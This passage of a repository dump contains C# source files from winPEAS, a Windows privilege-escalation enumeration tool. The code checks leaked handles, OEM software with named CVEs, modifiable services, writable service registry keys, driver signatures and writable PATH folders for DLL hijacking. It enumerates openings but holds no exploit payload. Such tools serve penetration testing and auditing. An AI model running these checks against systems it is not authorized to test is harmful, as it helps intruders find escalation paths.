HandlesHelper.getThreadHandlerInfo(dupHandle);\n                            }\n\n                            // If the privileged access is from a proc to itself, or to a process of the same user, not a privesc\n                            if (hInfo.pid == 0 ||\n                                (int)h.UniqueProcessId == hInfo.pid ||\n                                origProcInfo.userSid == hInfo.userSid)\n                                continue;\n\n                            to_add[\"Handle PID\"] = hInfo.pid.ToString() + \"(\" + hInfo.userName + \")\";\n                        }\n\n                        else if (typeName == \"file\")\n                        {\n                            //StringBuilder filePath = new StringBuilder(2000);\n                            //HandlersHelper.GetFinalPathNameByHandle(dupHandle, filePath, 2000, 0);\n\n                            HandlesHelper.FILE_NAME_INFO fni = new HandlesHelper.FILE_NAME_INFO();\n\n                            // Sometimes both GetFileInformationByHandle and GetFileInformationByHandleEx hangs\n                            // So a timeput of 1s is put to the function to prevent that\n                            var task = Task.Run(() =>\n                            {\n                                // FILE_NAME_INFO (2)\n                                return Native.Kernel32.GetFileInformationByHandleEx(dupHandle, 2, out fni, (uint)Marshal.SizeOf(fni));\n                            });\n\n                            bool isCompletedSuccessfully = task.Wait(TimeSpan.FromMilliseconds(1000));\n\n                            if (!isCompletedSuccessfully)\n                            {\n                                //throw new TimeoutException(\"The function has taken longer than the maximum time allowed.\");\n                                continue;\n                            }\n\n                            string sFilePath = fni.FileName;\n                            if (sFilePath.Length == 0)\n                                continue;\n\n                            List<string> permsFile = PermissionsHelper.GetPermissionsFile(sFilePath, Checks.Checks.CurrentUserSiDs, PermissionType.WRITEABLE_OR_EQUIVALENT);\n                            IdentityReference sid = null;\n                            try\n                            {\n                                System.Security.AccessControl.FileSecurity fs = System.IO.File.GetAccessControl(sFilePath);\n                                sid = fs.GetOwner(typeof(SecurityIdentifier));\n\n                                // If current user already have permissions over that file or the proc belongs to the owner of the file,\n                                // handler not interesting to elevate privs\n                                if (permsFile.Count > 0 || origProcInfo.userSid == sid.Value)\n                                    continue;\n\n                                to_add[\"File Path\"] = sFilePath;\n\n                                string ownerName = sid.Translate(typeof(NTAccount)).ToString();\n                                to_add[\"File Owner\"] = ownerName;\n                            }\n                            catch (System.IO.FileNotFoundException)\n                            {\n                                // File wasn't found\n                                continue;\n                            }\n                            catch (System.InvalidOperationException)\n                            {\n                                continue;\n                            }\n                            catch (System.Security.Principal.IdentityNotMappedException)\n                            {\n                                to_add[\"File Owner\"] = sid.ToString();\n                            }\n                        }\n\n                        else if (typeName == \"key\")\n                        {\n                            HandlesHelper.KEY_RELEVANT_INFO kri = HandlesHelper.getKeyHandlerInfo(dupHandle);\n                            if (kri.path.Length == 0 && kri.hive != null && kri.hive.Length > 0)\n                                continue;\n\n                            RegistryKey regKey = Helpers.Registry.RegistryHelper.GetReg(kri.hive, kri.path);\n                            if (regKey == null)\n                                continue;\n\n                            List<string> permsReg = PermissionsHelper.GetMyPermissionsR(regKey, Checks.Checks.CurrentUserSiDs);\n\n                            // If current user already have permissions over that reg, handle not interesting to elevate privs\n                            if (permsReg.Count > 0)\n                                continue;\n\n                            to_add[\"Registry\"] = kri.hive + \"\\\\\" + kri.path;\n                        }\n\n\n                        vulnHandlers.Add(to_add);\n                    }\n                }\n            }\n\n            return vulnHandlers;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/ServicesInfo/OemSoftwareHelper.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.IO;\nusing System.Security.AccessControl;\nusing System.Security.Principal;\nusing System.ServiceProcess;\nusing winPEAS.Helpers;\n\nnamespace winPEAS.Info.ServicesInfo\n{\n    internal static class OemSoftwareHelper\n    {\n        internal static List<OemSoftwareFinding> GetPotentiallyVulnerableComponents(Dictionary<string, string> currentUserSids)\n        {\n            var findings = new List<OemSoftwareFinding>();\n            var services = GetServiceSnapshot();\n            var processes = GetProcessSnapshot();\n\n            foreach (var definition in GetDefinitions())\n            {\n                var finding = new OemSoftwareFinding\n                {\n                    Name = definition.Name,\n                    Description = definition.Description,\n                    Cves = definition.Cves,\n                };\n\n                AppendServiceEvidence(definition, services, finding);\n                AppendProcessEvidence(definition, processes, finding);\n                AppendPathEvidence(definition, currentUserSids, finding);\n                AppendPipeEvidence(definition, finding);\n\n                if (finding.Evidence.Count > 0)\n                {\n                    findings.Add(finding);\n                }\n            }\n\n            return findings;\n        }\n\n        private static void AppendServiceEvidence(OemComponentDefinition definition, List<ServiceSnapshot> services, OemSoftwareFinding finding)\n        {\n            if (definition.ServiceHints == null || definition.ServiceHints.Length == 0)\n            {\n                return;\n            }\n\n            foreach (var serviceHint in definition.ServiceHints)\n            {\n                foreach (var service in services)\n                {\n                    if (ContainsIgnoreCase(service.Name, serviceHint) ||\n                        ContainsIgnoreCase(service.DisplayName, serviceHint))\n                    {\n                        finding.Evidence.Add(new OemEvidence\n                        {\n                            EvidenceType = \"service\",\n                            Highlight = true,\n                            Message = $\"Service '{service.Name}' (Display: {service.DisplayName}) matches indicator '{serviceHint}'\"\n                        });\n                    }\n                }\n            }\n        }\n\n        private static void AppendProcessEvidence(OemComponentDefinition definition, List<ProcessSnapshot> processes, OemSoftwareFinding finding)\n        {\n            if (definition.ProcessHints == null || definition.ProcessHints.Length == 0)\n            {\n                return;\n            }\n\n            foreach (var processHint in definition.ProcessHints)\n            {\n                foreach (var process in processes)\n                {\n                    bool matchesName = ContainsIgnoreCase(process.Name, processHint);\n                    bool matchesPath = ContainsIgnoreCase(process.FullPath, processHint);\n\n                    if (matchesName || matchesPath)\n                    {\n                        var location = string.IsNullOrWhiteSpace(process.FullPath) ? \"Unknown\" : process.FullPath;\n                        finding.Evidence.Add(new OemEvidence\n                        {\n                            EvidenceType = \"process\",\n                            Highlight = true,\n                            Message = $\"Process '{process.Name}' (Path: {location}) matches indicator '{processHint}'\"\n                        });\n                    }\n                }\n            }\n        }\n\n        private static void AppendPathEvidence(OemComponentDefinition definition, Dictionary<string, string> currentUserSids, OemSoftwareFinding finding)\n        {\n            if ((definition.DirectoryHints == null || definition.DirectoryHints.Length == 0) &&\n                (definition.FileHints == null || definition.FileHints.Length == 0))\n            {\n                return;\n            }\n\n            if (definition.DirectoryHints != null)\n            {\n                foreach (var dirHint in definition.DirectoryHints)\n                {\n                    var expandedPath = ExpandPath(dirHint.Path);\n                    if (!Directory.Exists(expandedPath))\n                    {\n                        continue;\n                    }\n\n                    var permissions = PermissionsHelper.GetPermissionsFolder(expandedPath, currentUserSids, PermissionType.WRITEABLE_OR_EQUIVALENT);\n                    bool isWritable = permissions.Count > 0;\n\n                    finding.Evidence.Add(new OemEvidence\n                    {\n                        EvidenceType = \"path\",\n                        Highlight = isWritable,\n                        Message = BuildPathMessage(expandedPath, dirHint.Description, isWritable, permissions)\n                    });\n                }\n            }\n\n            if (definition.FileHints != null)\n            {\n                foreach (var fileHint in definition.FileHints)\n                {\n                    var expandedPath = ExpandPath(fileHint);\n                    if (!File.Exists(expandedPath))\n                    {\n                        continue;\n                    }\n\n                    var permissions = PermissionsHelper.GetPermissionsFile(expandedPath, currentUserSids, PermissionType.WRITEABLE_OR_EQUIVALENT);\n                    bool isWritable = permissions.Count > 0;\n\n                    finding.Evidence.Add(new OemEvidence\n                    {\n                        EvidenceType = \"file\",\n                        Highlight = isWritable,\n                        Message = BuildPathMessage(expandedPath, \"file\", isWritable, permissions)\n                    });\n                }\n            }\n        }\n\n        private static void AppendPipeEvidence(OemComponentDefinition definition, OemSoftwareFinding finding)\n        {\n            if (definition.PipeHints == null)\n            {\n                return;\n            }\n\n            foreach (var pipeHint in definition.PipeHints)\n            {\n                try\n                {\n                    var path = $\"\\\\\\\\.\\\\pipe\\\\{pipeHint.Name}\";\n                    var security = File.GetAccessControl(path);\n                    string sddl = security.GetSecurityDescriptorSddlForm(AccessControlSections.All);\n                    string identity = string.Empty;\n                    string rights = string.Empty;\n                    bool worldWritable = false;\n\n                    if (pipeHint.CheckWorldWritable)\n                    {\n                        worldWritable = HasWorldWritableAce(security, out identity, out rights);\n                    }\n\n                    string details = worldWritable\n                        ? $\"Named pipe '{pipeHint.Name}' ({pipeHint.Description}) is writable by {identity} ({rights}).\"\n                        : $\"Named pipe '{pipeHint.Name}' ({pipeHint.Description}) present. SDDL: {sddl}\";\n\n                    finding.Evidence.Add(new OemEvidence\n                    {\n                        EvidenceType = \"pipe\",\n                        Highlight = worldWritable,\n                        Message = details\n                    });\n                }\n                catch (FileNotFoundException)\n                {\n                    // Pipe not present.\n                }\n                catch (DirectoryNotFoundException)\n                {\n                    // Pipe namespace not accessible.\n                }\n                catch (Exception)\n                {\n                    // Best effort: pipes might disappear during enumeration or deny access.\n                }\n            }\n        }\n\n        private static List<ServiceSnapshot> GetServiceSnapshot()\n        {\n            var services = new List<ServiceSnapshot>();\n\n            try\n            {\n                foreach (var service in ServiceController.GetServices())\n                {\n                    services.Add(new ServiceSnapshot\n                    {\n                        Name = service.ServiceName ?? string.Empty,\n                        DisplayName = service.DisplayName ?? string.Empty\n                    });\n                }\n            }\n            catch (Exception)\n            {\n                // Ignore - this is best effort.\n            }\n\n            return services;\n        }\n\n        private static List<ProcessSnapshot> GetProcessSnapshot()\n        {\n            var processes = new List<ProcessSnapshot>();\n\n            try\n            {\n                foreach (var process in Process.GetProcesses())\n                {\n                    string fullPath = string.Empty;\n                    try\n                    {\n                        fullPath = process.MainModule?.FileName ?? string.Empty;\n                    }\n                    catch\n                    {\n                        // Access denied or 64-bit vs 32-bit mismatch.\n                    }\n\n                    processes.Add(new ProcessSnapshot\n                    {\n                        Name = process.ProcessName ?? string.Empty,\n                        FullPath = fullPath ?? string.Empty\n                    });\n                }\n            }\n            catch (Exception)\n            {\n                // Ignore - enumeration is best effort.\n            }\n\n            return processes;\n        }\n\n        private static string ExpandPath(string rawPath)\n        {\n            if (string.IsNullOrWhiteSpace(rawPath))\n            {\n                return string.Empty;\n            }\n\n            var expanded = Environment.ExpandEnvironmentVariables(rawPath);\n            return expanded.Trim().Trim('\"');\n        }\n\n        private static string BuildPathMessage(string path, string description, bool isWritable, List<string> permissions)\n        {\n            string descriptor = string.IsNullOrWhiteSpace(description) ? \"\" : $\" ({description})\";\n            if (isWritable)\n            {\n                return $\"Path '{path}'{descriptor} is writable by current user: {string.Join(\", \", permissions)}\";\n            }\n\n            return $\"Path '{path}'{descriptor} detected.\";\n        }\n\n        private static bool ContainsIgnoreCase(string value, string toFind)\n        {\n            if (string.IsNullOrWhiteSpace(value) || string.IsNullOrWhiteSpace(toFind))\n            {\n                return false;\n            }\n\n            return value.IndexOf(toFind, StringComparison.OrdinalIgnoreCase) >= 0;\n        }\n\n        private static bool HasWorldWritableAce(FileSecurity security, out string identity, out string rights)\n        {\n            identity = string.Empty;\n            rights = string.Empty;\n\n            try\n            {\n                var rules = security.GetAccessRules(true, true, typeof(SecurityIdentifier));\n                foreach (FileSystemAccessRule rule in rules)\n                {\n                    if (rule.AccessControlType != AccessControlType.Allow)\n                    {\n                        continue;\n                    }\n\n                    if (rule.IdentityReference is SecurityIdentifier sid)\n                    {\n                        bool isWorld = sid.IsWellKnown(WellKnownSidType.WorldSid);\n                        bool isAuthenticated = sid.IsWellKnown(WellKnownSidType.AuthenticatedUserSid);\n\n                        if (!isWorld && !isAuthenticated)\n                        {\n                            continue;\n                        }\n\n                        const FileSystemRights interestingRights =\n                            FileSystemRights.FullControl |\n                            FileSystemRights.Modify |\n                            FileSystemRights.Write |\n                            FileSystemRights.WriteData |\n                            FileSystemRights.CreateFiles |\n                            FileSystemRights.ChangePermissions;\n\n                        if ((rule.FileSystemRights & interestingRights) != 0)\n                        {\n                            identity = isWorld ? \"Everyone\" : \"Authenticated Users\";\n                            rights = rule.FileSystemRights.ToString();\n                            return true;\n                        }\n                    }\n                }\n            }\n            catch\n            {\n                // Ignore parsing issues.\n            }\n\n            return false;\n        }\n\n        private static IEnumerable<OemComponentDefinition> GetDefinitions()\n        {\n            return new List<OemComponentDefinition>\n            {\n                new OemComponentDefinition\n                {\n                    Name = \"ASUS DriverHub\",\n                    Description = \"Local web API exposed by ADU.exe allowed bypassing origin/url validation and signature checks.\",\n                    Cves = new[] { \"CVE-2025-3462\", \"CVE-2025-3463\" },\n                    ServiceHints = new[] { \"asusdriverhub\", \"asus driverhub\" },\n                    ProcessHints = new[] { \"adu\", \"asusdriverhub\" },\n                    DirectoryHints = new[]\n                    {\n                        new PathHint { Path = \"%ProgramFiles%\\\\ASUS\\\\AsusDriverHub\", Description = \"Program Files\" },\n                        new PathHint { Path = \"%ProgramFiles(x86)%\\\\ASUS\\\\AsusDriverHub\", Description = \"Program Files (x86)\" },\n                        new PathHint { Path = \"%ProgramData%\\\\ASUS\\\\AsusDriverHub\\\\SupportTemp\", Description = \"SupportTemp updater staging\" }\n                    },\n                    FileHints = new[]\n                    {\n                        \"%ProgramData%\\\\ASUS\\\\AsusDriverHub\\\\SupportTemp\\\\Installer.json\"\n                    }\n                },\n                new OemComponentDefinition\n                {\n                    Name = \"MSI Center\",\n                    Description = \"MSI.CentralServer.exe exposed TCP commands with TOCTOU and signature bypass issues.\",\n                    Cves = new[] { \"CVE-2025-27812\", \"CVE-2025-27813\" },\n                    ServiceHints = new[] { \"msi.center\", \"msi centralserver\" },\n                    ProcessHints = new[] { \"msi.centralserver\", \"msi center\" },\n                    DirectoryHints = new[]\n                    {\n                        new PathHint { Path = \"%ProgramFiles%\\\\MSI\\\\MSI Center\", Description = \"Main installation\" },\n                        new PathHint { Path = \"%ProgramFiles(x86)%\\\\MSI\\\\MSI Center\", Description = \"Main installation (x86)\" },\n                        new PathHint { Path = \"%ProgramData%\\\\MSI\\\\MSI Center\", Description = \"Shared data\" },\n                        new PathHint { Path = \"%ProgramData%\\\\MSI Center SDK\", Description = \"SDK temp copy location\" }\n                    }\n                },\n                new OemComponentDefinition\n                {\n                    Name = \"Acer Control Centre\",\n                    Description = \"ACCSvc.exe exposes treadstone_service_LightMode named pipe with weak impersonation controls.\",\n                    Cves = new[] { \"CVE-2025-5491\" },\n                    ServiceHints = new[] { \"accsvc\", \"acer control\" },\n                    ProcessHints = new[] { \"accsvc\", \"accstd\" },\n                    DirectoryHints = new[]\n                    {\n                        new PathHint { Path = \"%ProgramFiles%\\\\Acer\\\\Care Center\", Description = \"Install directory\" },\n                        new PathHint { Path = \"%ProgramFiles(x86)%\\\\Acer\\\\Care Center\", Description = \"Install directory (x86)\" }\n                    },\n                    PipeHints = new[]\n                    {\n                        new PipeHint { Name = \"treadstone_service_LightMode\", Description = \"Command dispatcher\", CheckWorldWritable = true }\n                    }\n                },\n                new OemComponentDefinition\n                {\n                    Name = \"Razer Synapse 4 Elevation Service\",\n                    Description = \"razer_elevation_service.exe exposes COM elevation helpers that allowed arbitrary process launch.\",\n                    Cves = new[] { \"CVE-2025-27811\" },\n                    ServiceHints = new[] { \"razer_elevation_service\" },\n                    ProcessHints = new[] { \"razer_elevation_service\" },\n                    DirectoryHints = new[]\n                    {\n                        new PathHint { Path = \"%ProgramFiles%\\\\Razer\\\\RazerAppEngine\", Description = \"Razer App Engine\" },\n                        new PathHint { Path = \"%ProgramFiles(x86)%\\\\Razer\\\\RazerAppEngine\", Description = \"Razer App Engine (x86)\" }\n                    }\n                }\n            };\n        }\n\n        private class ServiceSnapshot\n        {\n            public string Name { get; set; }\n            public string DisplayName { get; set; }\n        }\n\n        private class ProcessSnapshot\n        {\n            public string Name { get; set; }\n            public string FullPath { get; set; }\n        }\n\n        private class OemComponentDefinition\n        {\n            public string Name { get; set; }\n            public string Description { get; set; }\n            public string[] Cves { get; set; } = Array.Empty<string>();\n            public string[] ServiceHints { get; set; } = Array.Empty<string>();\n            public string[] ProcessHints { get; set; } = Array.Empty<string>();\n            public PathHint[] DirectoryHints { get; set; } = Array.Empty<PathHint>();\n            public string[] FileHints { get; set; } = Array.Empty<string>();\n            public PipeHint[] PipeHints { get; set; } = Array.Empty<PipeHint>();\n        }\n\n        private class PathHint\n        {\n            public string Path { get; set; }\n            public string Description { get; set; }\n        }\n\n        private class PipeHint\n        {\n            public string Name { get; set; }\n            public string Description { get; set; }\n            public bool CheckWorldWritable { get; set; }\n        }\n    }\n\n    internal class OemSoftwareFinding\n    {\n        public string Name { get; set; }\n        public string Description { get; set; }\n        public string[] Cves { get; set; } = Array.Empty<string>();\n        public List<OemEvidence> Evidence { get; } = new List<OemEvidence>();\n    }\n\n    internal class OemEvidence\n    {\n        public string EvidenceType { get; set; }\n        public string Message { get; set; }\n        public bool Highlight { get; set; }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/ServicesInfo/ServicesInfoHelper.cs",
    "content": "﻿using Microsoft.Win32;\nusing System;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.IO;\nusing System.Linq;\nusing System.Management;\nusing System.Reflection;\nusing System.Runtime.InteropServices;\nusing System.Security.AccessControl;\nusing System.Security.Cryptography;\nusing System.Security.Cryptography.X509Certificates;\nusing System.ServiceProcess;\nusing System.Text.RegularExpressions;\nusing winPEAS.Helpers;\nusing winPEAS.Helpers.Registry;\nusing winPEAS.Native;\n\nnamespace winPEAS.Info.ServicesInfo\n{\n    class ServicesInfoHelper\n    {\n        ///////////////////////////////////////////////\n        //// Non Standard Services (Non Microsoft) ////\n        ///////////////////////////////////////////////\n        public static List<Dictionary<string, string>> GetNonstandardServices()\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n\n            try\n            {\n                using (ManagementObjectSearcher wmiData = new ManagementObjectSearcher(@\"root\\cimv2\", \"SELECT * FROM win32_service\"))\n                {\n                    using (ManagementObjectCollection data = wmiData.Get())\n                    {\n                        foreach (ManagementObject result in data)\n                        {\n                            if (result[\"PathName\"] != null)\n                            {\n                                string binaryPath = MyUtils.GetExecutableFromPath(result[\"PathName\"].ToString());\n                                string companyName = \"\";\n                                string isDotNet = \"\";\n                                try\n                                {\n                                    FileVersionInfo myFileVersionInfo = FileVersionInfo.GetVersionInfo(binaryPath);\n                                    companyName = myFileVersionInfo.CompanyName;\n                                    isDotNet = MyUtils.CheckIfDotNet(binaryPath) ? \"isDotNet\" : \"\";\n                                }\n                                catch (Exception)\n                                {\n                                    // Not enough privileges\n                                }\n\n                                if (string.IsNullOrEmpty(companyName) || (!Regex.IsMatch(companyName, @\"^Microsoft.*\", RegexOptions.IgnoreCase)))\n                                {\n                                    Dictionary<string, string> toadd = new Dictionary<string, string>\n                                    {\n                                        [\"Name\"] = GetStringOrEmpty(result[\"Name\"]),\n                                        [\"DisplayName\"] = GetStringOrEmpty(result[\"DisplayName\"]),\n                                        [\"CompanyName\"] = companyName,\n                                        [\"State\"] = GetStringOrEmpty(result[\"State\"]),\n                                        [\"StartMode\"] = GetStringOrEmpty(result[\"StartMode\"]),\n                                        [\"PathName\"] = GetStringOrEmpty(result[\"PathName\"]),\n                                        [\"FilteredPath\"] = binaryPath,\n                                        [\"isDotNet\"] = isDotNet,\n                                        [\"Description\"] = GetStringOrEmpty(result[\"Description\"])\n                                    };\n\n                                    results.Add(toadd);\n                                }\n                            }\n                        }\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n\n            return results;\n        }\n\n        private static string GetStringOrEmpty(object obj)\n        {\n            return obj == null ? string.Empty : obj.ToString();\n        }\n\n        public static List<Dictionary<string, string>> GetNonstandardServicesFromReg()\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n\n            try\n            {\n                foreach (string key in RegistryHelper.GetRegSubkeys(\"HKLM\", @\"SYSTEM\\CurrentControlSet\\Services\"))\n                {\n                    Dictionary<string, object> key_values = RegistryHelper.GetRegValues(\"HKLM\", @\"SYSTEM\\CurrentControlSet\\Services\\\" + key);\n\n                    if (key_values.ContainsKey(\"DisplayName\") && key_values.ContainsKey(\"ImagePath\"))\n                    {\n                        string companyName = \"\";\n                        string isDotNet = \"\";\n                        string pathName = Environment.ExpandEnvironmentVariables(string.Format(\"{0}\", key_values[\"ImagePath\"]).Replace(\"\\\\SystemRoot\\\\\", \"%SystemRoot%\\\\\"));\n                        string binaryPath = MyUtils.ReconstructExecPath(pathName);\n                        if (binaryPath != \"\")\n                        {\n                            try\n                            {\n                                FileVersionInfo myFileVersionInfo = FileVersionInfo.GetVersionInfo(binaryPath);\n                                companyName = myFileVersionInfo.CompanyName;\n                                isDotNet = MyUtils.CheckIfDotNet(binaryPath) ? \"isDotNet\" : \"\";\n                            }\n                            catch (Exception)\n                            {\n                                // Not enough privileges\n                            }\n                        }\n\n                        string displayName = string.Format(\"{0}\", key_values[\"DisplayName\"]);\n                        string imagePath = string.Format(\"{0}\", key_values[\"ImagePath\"]);\n                        string description = key_values.ContainsKey(\"Description\") ? string.Format(\"{0}\", key_values[\"Description\"]) : \"\";\n                        string startMode = \"\";\n                        if (key_values.ContainsKey(\"Start\"))\n                        {\n                            switch (key_values[\"Start\"].ToString())\n                            {\n                                case \"0\":\n                                    startMode = \"Boot\";\n                                    break;\n                                case \"1\":\n                                    startMode = \"System\";\n                                    break;\n                                case \"2\":\n                                    startMode = \"Autoload\";\n                                    break;\n                                case \"3\":\n                                    startMode = \"System\";\n                                    break;\n                                case \"4\":\n                                    startMode = \"Manual\";\n                                    break;\n                                case \"5\":\n                                    startMode = \"Disabled\";\n                                    break;\n                            }\n                        }\n                        if (string.IsNullOrEmpty(companyName) || (!Regex.IsMatch(companyName, @\"^Microsoft.*\", RegexOptions.IgnoreCase)))\n                        {\n                            Dictionary<string, string> toadd = new Dictionary<string, string>\n                            {\n                                [\"Name\"] = displayName,\n                                [\"DisplayName\"] = displayName,\n                                [\"CompanyName\"] = companyName,\n                                [\"State\"] = \"\",\n                                [\"StartMode\"] = startMode,\n                                [\"PathName\"] = pathName,\n                                [\"FilteredPath\"] = binaryPath,\n                                [\"isDotNet\"] = isDotNet,\n                                [\"Description\"] = description\n                            };\n                            results.Add(toadd);\n                        }\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n\n        public static Dictionary<string, string> GetModifiableServices(Dictionary<string, string> SIDs)\n        {\n            Dictionary<string, string> results = new Dictionary<string, string>();\n\n            ServiceController[] scServices;\n            scServices = ServiceController.GetServices();\n\n            var GetServiceHandle = typeof(System.ServiceProcess.ServiceController).GetMethod(\"GetServiceHandle\", BindingFlags.Instance | BindingFlags.NonPublic);\n            object[] readRights = { 0x00020000 };\n\n            foreach (ServiceController sc in scServices)\n            {\n                try\n                {\n                    IntPtr handle = (IntPtr)GetServiceHandle.Invoke(sc, readRights);\n                    ServiceControllerStatus status = sc.Status;\n                    byte[] psd = new byte[0];\n                    bool ok = Advapi32.QueryServiceObjectSecurity(handle, SecurityInfos.DiscretionaryAcl, psd, 0, out uint bufSizeNeeded);\n                    if (!ok)\n                    {\n                        int err = Marshal.GetLastWin32Error();\n                        if (err == 122 || err == 0)\n                        { // ERROR_INSUFFICIENT_BUFFER\n                          // expected; now we know bufsize\n                            psd = new byte[bufSizeNeeded];\n                            ok = Advapi32.QueryServiceObjectSecurity(handle, SecurityInfos.DiscretionaryAcl, psd, bufSizeNeeded, out bufSizeNeeded);\n                        }\n                        else\n                        {\n                            //throw new ApplicationException(\"error calling QueryServiceObjectSecurity() to get DACL for \" + _name + \": error code=\" + err);\n                            continue;\n                        }\n                    }\n                    if (!ok)\n                    {\n                        //throw new ApplicationException(\"error calling QueryServiceObjectSecurity(2) to get DACL for \" + _name + \": error code=\" + Marshal.GetLastWin32Error());\n                        continue;\n                    }\n\n                    // get security descriptor via raw into DACL form so ACE ordering checks are done for us.\n                    RawSecurityDescriptor rsd = new RawSecurityDescriptor(psd, 0);\n                    RawAcl racl = rsd.DiscretionaryAcl;\n                    DiscretionaryAcl dacl = new DiscretionaryAcl(false, false, racl);\n\n                    List<string> permissions = new List<string>();\n\n                    foreach (System.Security.AccessControl.CommonAce ace in dacl)\n                    {\n                        if (SIDs.ContainsKey(ace.SecurityIdentifier.ToString()))\n                        {\n                            string aceType = ace.AceType.ToString();\n                            if (!(aceType.Contains(\"Denied\")))\n                            { //https://docs.microsoft.com/en-us/dotnet/api/system.security.accesscontrol.commonace?view=net-6.0\n                                int serviceRights = ace.AccessMask;\n                                string current_perm_str = PermissionsHelper.PermInt2Str(serviceRights, PermissionType.WRITEABLE_OR_EQUIVALENT_SVC);\n\n                                if (!string.IsNullOrEmpty(current_perm_str) && !permissions.Contains(current_perm_str))\n                                    permissions.Add(current_perm_str);\n                            }\n                        }\n                    }\n\n                    if (permissions.Count > 0)\n                    {\n                        string perms = String.Join(\", \", permissions);\n                        if (perms.Replace(\"Start\", \"\").Replace(\"Stop\", \"\").Length > 3) //Check if any other permissions appart from Start and Stop\n                            results.Add(sc.ServiceName, perms);\n                    }\n\n                }\n                catch (Exception)\n                {\n                    //Beaprint.PrintException(ex.Message)\n                }\n            }\n            return results;\n        }\n\n        //////////////////////////////////////////\n        ///////  Find Write reg. Services ////////\n        //////////////////////////////////////////\n        /// Find Services which Reg you have write or equivalent access\n        public static List<Dictionary<string, string>> GetWriteServiceRegs(Dictionary<string, string> NtAccountNames)\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n            try\n            {\n                RegistryKey regKey = Registry.LocalMachine.OpenSubKey(@\"system\\currentcontrolset\\services\");\n                foreach (string serviceRegName in regKey.GetSubKeyNames())\n                {\n                    RegistryKey key = Registry.LocalMachine.OpenSubKey(@\"system\\currentcontrolset\\services\\\" + serviceRegName);\n                    List<string> perms = PermissionsHelper.GetMyPermissionsR(key, NtAccountNames);\n                    if (perms.Count > 0)\n                    {\n                        results.Add(new Dictionary<string, string> {\n                        { \"Path\", @\"HKLM\\system\\currentcontrolset\\services\\\" + serviceRegName },\n                        { \"Permissions\", string.Join(\", \", perms) }\n                    });\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n\n\n        private static readonly DateTime LegacyDriverCutoff = new DateTime(2015, 7, 29);\n\n        public static List<KernelDriverInfo> GetKernelDriverInfos()\n        {\n            List<KernelDriverInfo> drivers = new List<KernelDriverInfo>();\n\n            try\n            {\n                using (ManagementObjectSearcher wmiData = new ManagementObjectSearcher(@\"root\\cimv2\", \"SELECT Name,DisplayName,PathName,StartMode,State,ServiceType FROM win32_service\"))\n                {\n                    using (ManagementObjectCollection data = wmiData.Get())\n                    {\n                        foreach (ManagementObject result in data)\n                        {\n                            string serviceType = GetStringOrEmpty(result[\"ServiceType\"]);\n                            if (string.IsNullOrEmpty(serviceType) || !serviceType.ToLowerInvariant().Contains(\"kernel driver\"))\n                                continue;\n\n                            string binaryPath = MyUtils.ReconstructExecPath(GetStringOrEmpty(result[\"PathName\"]));\n\n                            drivers.Add(new KernelDriverInfo\n                            {\n                                Name = GetStringOrEmpty(result[\"Name\"]),\n                                DisplayName = GetStringOrEmpty(result[\"DisplayName\"]),\n                                StartMode = GetStringOrEmpty(result[\"StartMode\"]),\n                                State = GetStringOrEmpty(result[\"State\"]),\n                                PathName = binaryPath,\n                                Signature = GetDriverSignatureInfo(binaryPath)\n                            });\n                        }\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n\n            return drivers;\n        }\n\n        private static KernelDriverSignatureInfo GetDriverSignatureInfo(string binaryPath)\n        {\n            KernelDriverSignatureInfo info = new KernelDriverSignatureInfo\n            {\n                FilePath = binaryPath,\n                IsSigned = false\n            };\n\n            if (string.IsNullOrEmpty(binaryPath) || !File.Exists(binaryPath))\n            {\n                info.Error = \"Binary not found\";\n                return info;\n            }\n\n            try\n            {\n                using (var baseCertificate = X509Certificate.CreateFromSignedFile(binaryPath))\n                using (var certificate = new X509Certificate2(baseCertificate))\n                {\n                    info.IsSigned = true;\n                    info.Subject = certificate.Subject;\n                    info.Issuer = certificate.Issuer;\n                    info.NotBefore = certificate.NotBefore;\n                    info.NotAfter = certificate.NotAfter;\n                    info.IsLegacyExpired = certificate.NotAfter < LegacyDriverCutoff;\n                }\n            }\n            catch (CryptographicException cryptoEx)\n            {\n                info.Error = cryptoEx.Message;\n            }\n            catch (Exception ex)\n            {\n                info.Error = ex.Message;\n            }\n\n            return info;\n        }\n\n        internal class KernelDriverInfo\n        {\n            public string Name { get; set; }\n            public string DisplayName { get; set; }\n            public string PathName { get; set; }\n            public string StartMode { get; set; }\n            public string State { get; set; }\n            public KernelDriverSignatureInfo Signature { get; set; }\n        }\n\n        internal class KernelDriverSignatureInfo\n        {\n            public string FilePath { get; set; }\n            public bool IsSigned { get; set; }\n            public string Subject { get; set; }\n            public string Issuer { get; set; }\n            public DateTime? NotBefore { get; set; }\n            public DateTime? NotAfter { get; set; }\n            public bool IsLegacyExpired { get; set; }\n            public string Error { get; set; }\n        }\n\n\n        //////////////////////////////////////\n        ////////  PATH DLL Hijacking /////////\n        //////////////////////////////////////\n        /// Look for write or equivalent permissions on ay folder in PATH\n        public static Dictionary<string, string> GetPathDLLHijacking()\n        {\n            Dictionary<string, string> results = new Dictionary<string, string>();\n            try\n            {\n                // grabbed from the registry instead of System.Environment.GetEnvironmentVariable to prevent false positives\n                string path = RegistryHelper.GetRegValue(\"HKLM\", \"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\Environment\", \"Path\");\n                if (string.IsNullOrEmpty(path))\n                    path = Environment.GetEnvironmentVariable(\"PATH\");\n\n                List<string> folders = path.Split(';').ToList();\n\n                foreach (string folder in folders)\n                    results[folder] = String.Join(\", \", PermissionsHelper.GetPermissionsFolder(folder, Checks.Checks.CurrentUserSiDs));\n\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n    